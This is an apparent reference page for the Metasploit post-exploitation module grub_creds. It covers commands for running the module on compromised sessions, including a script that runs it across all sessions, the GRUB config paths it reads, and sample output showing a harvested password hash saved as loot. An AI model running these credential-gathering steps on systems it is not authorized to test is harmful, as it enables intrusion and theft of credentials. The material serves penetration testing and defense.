Gather GRUB Password - Metasploit


This page contains detailed information about how to use the post/multi/gather/grub_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Gather GRUB Password
Module: post/multi/gather/grub_creds
Source code: modules/post/multi/gather/grub_creds.rb
Disclosure date: -
Last modification time: 2019-10-29 04:31:12 +0000
Supported architecture(s): -
Supported platform(s): BSD, Linux, OSX, Solaris, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module gathers GRUB passwords from GRUB bootloader config files.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/gather/grub_creds

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/gather/grub_creds
msf post(grub_creds) > show options
    ... show and set options ...
msf post(grub_creds) > set SESSION session-id
msf post(grub_creds) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/gather/grub_creds")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Gather GRUB Passwords

Reads all passwords from GRUB configuration files on UNIX-like machines.

Vulnerable Application

Any UNIX-like system with a shell or meterpreter session using GRUB.

Verification Steps

  1. Get a shell or meterpreter session on some host.
  2. Do: use post/multi/gather/grub_creds
  3. Do: set SESSION [SESSION_ID], replacing [SESSION_ID] with the session number you wish to run this one.
  4. Do: run
  5. If the system has readable GRUB configuration files containing a password, they will be printed out.

Options

FILENAME

A string that can be used to specify an additional file to check after the usual places.

VERBOSE

A boolean that, when set, will provide more details on what is being checked. (Note: this option is defined elsewhere in metasploit, but this module can make use of it.)

Scenarios

There are many places where a user might place the password that GRUB uses, so inserting a password line into any of these locations will work without any additional configuration:

   /boot/grub/grub.conf
   /boot/grub/grub.cfg
   /boot/grub/menu.lst
   /boot/grub2/grub.cfg
   /boot/grub2/user.cfg
   /etc/grub.conf
   /etc/grub.d/*
   /etc/grub/grub.cfg
   /mnt/sysimage/boot/grub.conf
   /mnt/boot/grub/grub.conf
   /rpool/boot/grub/grub.cfg

Using a Metasploitable 2 VM (running Ubuntu 8.04), you can add the line password topscret to /boot/grub/menu.lst to easily see this module in action.

Meterpreter

Typical run against Ubuntu 18.04 LTS

msf5 exploit(handler) > use post/multi/gather/grub_creds
msf5 post(grub_creds) > set SESSION 1
SESSION => 1
msf post(grub_creds) > run

[*] Searching for GRUB config files..
[*] Reading /boot/grub/grub.cfg
[*] Reading /etc/grub.d/40_custom
[*] Reading /etc/grub.d/00_header
[*] Reading /etc/grub.d/20_linux_xen
[*] Reading /etc/grub.d/10_linux
[*] Reading /etc/grub.d/README
[*] Reading /etc/grub.d/01_users
[+] /etc/grub.d/01_users saved to /home/bcook/.msf4/loot/20191029041304_default_127.0.0.1_grub.config_755243.txt
[*] Reading /etc/grub.d/41_custom
[*] Reading /etc/grub.d/30_os-prober
[*] Reading /etc/grub.d/05_debian_theme
[*] Reading /etc/grub.d/30_uefi-firmware
[+] Found credentials

Grub Credential Table
=====================

 Username             Password
 --------             --------
 putyourusernamehere  grub.pbkdf2.sha512.10000.CB9E1ED1050D0AFBC6EC3B75413FB288AD255B960C6DBA31C00A03AC286847DF8B1DEE167ED54316FD62EEAFE4A617959F90249849FBCB562AC27E68A6D59F90.E6AB5AE4B5E4EF375218A620A798002F5B38EE5F31B549A66AF5533A7931419BAC30E2305A95113F60BE116C9F3FE22126FE7768D095DE6B9BCDC55632400B52

Go back to menu.

Msfconsole Usage

Here is how the multi/gather/grub_creds post exploitation module looks in the msfconsole:

msf6 > use post/multi/gather/grub_creds

msf6 post(multi/gather/grub_creds) > show info

       Name: Gather GRUB Password
     Module: post/multi/gather/grub_creds
   Platform: Linux, OSX, Unix, Solaris, BSD
       Arch: 
       Rank: Normal

Provided by:
  Garvit Dewan <[email protected]>
  Taeber Rapczak <[email protected]>
  Shelby Pace

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME                   no        Additional grub configuration filename.
  SESSION                    yes       The session to run this module on.

Description:
  This module gathers GRUB passwords from GRUB bootloader config 
  files.

References:
  https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption

Module Options

This is a complete list of options available in the multi/gather/grub_creds post exploitation module:

msf6 post(multi/gather/grub_creds) > show options

Module options (post/multi/gather/grub_creds):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME                   no        Additional grub configuration filename.
   SESSION                    yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the multi/gather/grub_creds post exploitation module:

msf6 post(multi/gather/grub_creds) > show advanced

Module advanced options (post/multi/gather/grub_creds):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the multi/gather/grub_creds module can do:

msf6 post(multi/gather/grub_creds) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the multi/gather/grub_creds post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/gather/grub_creds) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No passwords found in GRUB config files

Here is a relevant code snippet related to the "No passwords found in GRUB config files" error message:

104:	    targets.each do |target|
105:	      parse_passwd_from_file(target)
106:	    end
107:	
108:	    if @creds_hash.empty? && @pass_hash.empty?
109:	      print_bad("No passwords found in GRUB config files")
110:	    else
111:	      print_good("Found credentials")
112:	
113:	      cred_table = Rex::Text::Table.new(
114:	        'Header'  =>  'Grub Credential Table',

Go back to menu.

References

See Also

Check also the following modules related to this module:

Authors

  • Garvit Dewan <d.garvit[at]gmail.com>
  • Taeber Rapczak <taeber[at]rapczak.com>
  • Shelby Pace

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.